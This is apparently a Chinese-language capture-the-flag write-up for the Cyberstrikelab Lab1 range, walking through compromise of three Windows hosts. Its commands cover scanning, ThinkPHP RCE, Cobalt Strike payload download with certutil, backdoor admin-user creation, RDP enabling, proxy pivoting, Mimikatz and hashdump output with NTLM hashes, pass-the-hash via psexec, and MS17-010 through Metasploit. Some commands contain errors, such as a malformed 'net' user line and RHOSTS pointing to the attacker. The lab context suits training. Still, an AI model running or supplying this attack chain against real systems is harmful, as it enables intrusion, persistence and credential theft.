Cyberstrikelab-Lab1

VPN环境配置

使用本地工具连接openvpn

  • windows
    安装OpenVPN Connect,将cyberstrikelab.com-lab1上传
  • linux
    openvpn cyberstrikelab.com-lab1

第一个flag

查看本地ip,可以发现多了一个IP地址,是openvpn分配的,但是这个ip一个时间只能一台机器使用,虚拟机使用nat也不行!

image-20250304180159178

接着就可以根据题目要求看看192.168.10.0/24网段的所有主机,分配的172IP可以连接192.168.10.0网段

使用fscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
PS C:\Users\11> fscan -h 192.168.10.0/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] CIDR范围: 192.168.10.0-192.168.10.255
[*] 已生成IP范围: 192.168.10.0 - 192.168.10.255
[*] 已解析CIDR 192.168.10.0/24 -> IP范围 192.168.10.0-192.168.10.255
[*] 最终有效主机数量: 256
[+] 目标 192.168.10.233 存活 (ICMP)
[+] 目标 192.168.10.10 存活 (ICMP)
[+] ICMP存活主机数量: 2
[*] 共解析 218 个有效端口
[+] 端口开放 192.168.10.10:445
[+] 端口开放 192.168.10.233:22
[+] 端口开放 192.168.10.10:139
[+] 端口开放 192.168.10.10:135
[+] 端口开放 192.168.10.10:80
[+] 端口开放 192.168.10.10:3306
[+] 端口开放 192.168.10.233:8080
[+] 存活端口数量: 7
[*] 开始漏洞扫描...
[*] 网站标题 https://192.168.10.233:8080 状态码:404 长度:19 标题:无标题
[!] 扫描错误 192.168.10.10:445 - 无法确定目标是否存在漏洞
[*] NetBios 192.168.10.10 WORKGROUP\WIN-KOHRC1DGOL9 Windows Server 2012 R2 Standard 9600
[!] 扫描错误 192.168.10.10:135 - [-] 解码主机信息失败: encoding/hex: odd length hex string
[*] 网站标题 http://192.168.10.10 状态码:200 长度:25229 标题:易优CMS - Powered by Eyoucms.com
[!] 扫描错误 192.168.10.233:22 - 扫描总时间超时: context deadline exceeded
[+] [发现漏洞] 目标: http://192.168.10.10
漏洞类型: poc-yaml-thinkphp5023-method-rce
漏洞名称: poc1
详细信息: %!s(<nil>)
[!] 扫描错误 192.168.10.10:3306 - Error 1130: Host '192.168.122.17' is not allowed to connect to this MySQL server
[+] 扫描已完成: 7/7
[*] 扫描结束,耗时: 23.855085s

[发现漏洞] 目标: http://192.168.10.10
漏洞类型: poc-yaml-thinkphp5023-method-rce

使用phpthink综合利用工具getshell

通过中国蚁剑连接

image-20250304175228217

连接后可在C盘根目录下找到第一个flag

第二个flag

在linux中开启服务CS的服务端和客户端

服务端

./teamserver 172.16.233.2 123@qwe

客户端

新增一个监听器,用于上线第一台主机

使用这个监听器生成一个exe的攻击载荷,放到10目标机中执行,上线CS

  • 上传方法1:使用蚁剑拖拽

  • 上传方法2:在本地使用python开启http文件传输 # 12345是端口
    python -m http.server 12345
    10受害机windows 拉取文件
    certutil -urlcache -split -f http://172.16.233.2:12345/artifact_x64.exe

使用CS的插件启用RDP服务和3389端口

image-20250304195017480

使用远程桌面

msf命令行设置后门用户,加入到Administrators组;并开启RDP服务

1
2
3
4
5
6
7
set COMMAND "net txy 123@qwe /add"

set COMMAND "net localgroup Administrators txy /add"

set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 0 /f'

set COMMAND "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"
  • windows-远程桌面

    可能会出现如下问题
    (原因:系统更新。微软系统补丁的更新将 CredSSP 身份验证协议的默认设置进行了调整,由“易受攻击”,修改为“已缓解”,从而导致远程桌面连接失败。)

    image-20250304195304150

    解决方法:修改组策表

    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
    其他方法参考:win10远程桌面连接报错

  • linux 远程桌面

    remmina,有点一直问题连不上,还没解决,搞了半天终于搞好了,下面是教程
    先用Windows来连接,在计算机上右键-属性-高级系统设置-远程-把下面仅允许那个勾去掉,然后就可以使用了


[参考文章](kali 使用rdesktop远程链接win10出现credssp错误的解决方法_rdesktop credssp-CSDN博客)

使用redesktop或Remmina连接10这台机子

1
sudo rdesktop  192.168.10.10 

主机发现

ipconfig

启用命令行查看当前主机ip状态,发现有两张网卡,10段之前已经扫过了,那么就要查看20段了

image-20250305194302887

Fscan扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
C:\> fscan -h 192.168.20.0/24

192.168.20.30:88 open
192.168.20.20:445 open
192.168.20.30:445 open
192.168.20.20:139 open
192.168.20.30:139 open
192.168.20.30:135 open
192.168.20.20:135 open
192.168.20.10:80 open
192.168.20.10:1081 open
192.168.20.10:1080 open
192.168.20.10:3306 open
192.168.20.10:445 open
192.168.20.10:139 open
192.168.20.10:135 open
[*] NetInfo
[*]192.168.20.20
[->]cyberweb
[->]192.168.20.20
[*] NetInfo
[*]192.168.20.30
[->]WIN-7NRTJO59O7N
[->]192.168.20.30
[*] NetBios 192.168.20.20 cyberweb.cyberstrikelab.com Windows Server 2012 R2 Standard 9600
[+] MS17-010 192.168.20.20 (Windows Server 2012 R2 Standard 9600)
[+] MS17-010 192.168.20.30 (Windows Server 2008 R2 Standard 7600)
[*] NetBios 192.168.20.10 WORKGROUP\WIN-KOHRC1DGOL9 Windows Server 2012 R2 Standard 9600
[*] WebTitle http://192.168.20.10 code:200 len:25229 title:鏄撲紭CMS - Powered by Eyoucms.com
[+] PocScan http://192.168.20.10 poc-yaml-thinkphp5023-method-rce poc1

发现有两台存在永恒之蓝

使用IOX做代理转发配合CS

先在CS上新建一个监听器,以16767为例

image-20250305201716327

用蚁剑把iox上传到10.10的的机子上

开启CMD两个窗口,分别执行
iox.exe proxy -l 1080

iox.exe fwd -l :16767 -r 192.168.10.10:16767

攻击机kali上

vim /etc/proxychains4.conf

在末尾添加socks5,注意端口前是空格,没有 “:” !!!

image-20250305195720533

proxychains(4)补充说明:

/etc/proxychains.conf

  1. 版本:这是 ProxyChains 3.x 的配置文件。
  2. 配置格式:相对简单,主要用于配置单个代理服务器或简单的代理链。
  3. 功能限制
    • 不支持多线程。
    • 不支持 IPv6。
    • 代理链的配置较为基础,功能有限。
  4. 适用场景:适用于较旧的系统或对代理功能要求不高的场景。

/etc/proxychains4.conf

  1. 版本:这是 ProxyChains 4.x 的配置文件。
  2. 配置格式:更加灵活和强大,支持复杂的代理链配置。
  3. 功能增强
    • 支持多线程,可以同时处理多个连接。
    • 支持 IPv6。
    • 支持更复杂的代理链模式(如动态链、严格链、轮询链、随机链)。
    • 支持 DNS 代理,可以隐藏真实 IP。
  4. 适用场景:适用于需要高级代理功能的场景,如多线程代理、复杂代理链、IPv6 支持

image-20250305201849544

image-20250305201943236

接着就是等着192.168.20.30机器上线,如果一次不成功,可以再试一下。

通过CS的插件,发现30是台域控主机,可以使用PTH的方法登录20主机

继续使用CS插件-OLa-密码抓取-Mimikatz-logonpasswords

image-20250305203850354

再在会话交互这执行hashdump

image-20250305204058762

1
2
3
4
5
6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:94bd5248e87cb7f2f9b871d40c903927:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5bc02b7670084dd30471730cc0a1672c:::
cyberweb:1105:aad3b435b51404eeaad3b435b51404ee:2de5cd0f15d1c070851d1044e1d95c90:::
WIN-7NRTJO59O7N$:1000:aad3b435b51404eeaad3b435b51404ee:a0cde4eb68e4a2345b888c83eed3b196:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:394905241126a2acf613382239447773:::
hashdump结果字段解释
  1. 用户名(Username)
    • 这是用户的登录名或计算机名。例如:
      • Administrator:系统管理员账户。
      • Guest:来宾账户。
      • krbtgt:Kerberos票证授予服务账户。
      • cyberwebWIN-7NRTJO59O7N$CYBERWEB$:可能是用户账户或计算机账户(以 $ 结尾的通常是计算机账户)。
  2. 用户ID(RID)
    • 这是用户或计算机的相对标识符(Relative Identifier),用于标识用户或计算机在域中的唯一性。
    • 常见的RID:
      • 500Administrator 账户的默认RID。
      • 501Guest 账户的默认RID。
      • 502krbtgt 账户的默认RID。
      • 100011031105:自定义用户或计算机账户的RID。
  3. LM哈希(LM Hash)
    • 这是基于LAN Manager算法的密码哈希值,通常用于存储Windows系统的密码。LM哈希是弱哈希算法,容易被破解。
    • 示例值:aad3b435b51404eeaad3b435b51404ee
      • 这是一个典型的空密码的LM哈希值,表示用户可能使用了空密码。
  4. NTLM哈希(NTLM Hash)
    • 这是基于NT LAN Manager算法的密码哈希值,比LM哈希更安全,但仍然可以被破解。
    • 示例值:
      • 94bd5248e87cb7f2f9b871d40c903927Administrator 的NTLM哈希)
      • 31d6cfe0d16ae931b73c59d7e0c089c0Guest 的NTLM哈希)
  5. 冒号(:::
    • 这些冒号通常用于分隔字段,表示后续字段为空或未使用。

具体账户解释

  1. Administrator:500
    • 系统管理员账户,RID为500。
    • LM哈希:aad3b435b51404eeaad3b435b51404ee(空密码)。
    • NTLM哈希:94bd5248e87cb7f2f9b871d40c903927(实际密码的哈希值)。

PTH攻击(Pass-the-Hash);

通过 NTLM 哈希值,攻击技术,远程执行命令并获取目标主机的交互式 Shell
通俗解释,这个NTLM密码可以在域内通行

1
2
3
4
cd /usr/share/doc/python3-impacket/examples/

proxychains4 -q python3 psexec.py -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/administrator@192.168.20.20

  1. proxychains4 -q
    • proxychains4 是一个代理工具,用于将网络连接通过代理(如 SOCKS 或 HTTP 代理)转发。
    • -q 参数表示安静模式(quiet mode),减少不必要的输出。
  2. python3 psexec.py
    • psexec.py 是 Impacket 工具包中的一个脚本,用于模拟 Windows 的 PsExec 功能,允许攻击者在目标主机上远程执行命令。
  3. -hashes :94bd5248e87cb7f2f9b871d40c903927
    • -hashes 参数用于传递 NTLM 哈希值,而不是明文密码。
    • : 表示 LM 哈希为空(通常为 aad3b435b51404eeaad3b435b51404ee),直接提供 NTLM 哈希值 94bd5248e87cb7f2f9b871d40c903927
  4. cyberstrikelab.com/administrator@192.168.20.20
    • cyberstrikelab.com 是目标域的名称。
    • administrator 是目标域中的管理员账户。
    • 192.168.20.20 是目标主机的 IP 地址
1
2
C:\Windows\system32> type C:\flag.txt
go-flag{Nb8VOT8X9SbIzyDI}

第三个flag

第三个台通过CS的永恒之蓝好像打不通,

msf

1
2
3
4
5
6
7
msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 172.16.233.2
set LPORT 4888
run

CS开启监听端口

image-20250305210802580

选择 192.168.10.10 会话,输入spawn msf ,MSF 成功接收到 CS 的会话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
run autoroute -s 192.168.20.0/24
run autoroute -p //观测路由是否添加成功

background

search socks
use auxiliary/server/socks_proxy
set SRVHOST 172.16.233.2
run

search ms17_010
use 19
set COMMAND whoami
set RHOSTS 172.16.233.2
run

image-20250305212452947

如果运行结果有问题,输入options查看配置信息,缺少哪些必要信息

image-20250305212254408

最后get flag

1
2
set COMMAND "type C:\flag.txt"
run

image-20250305212651744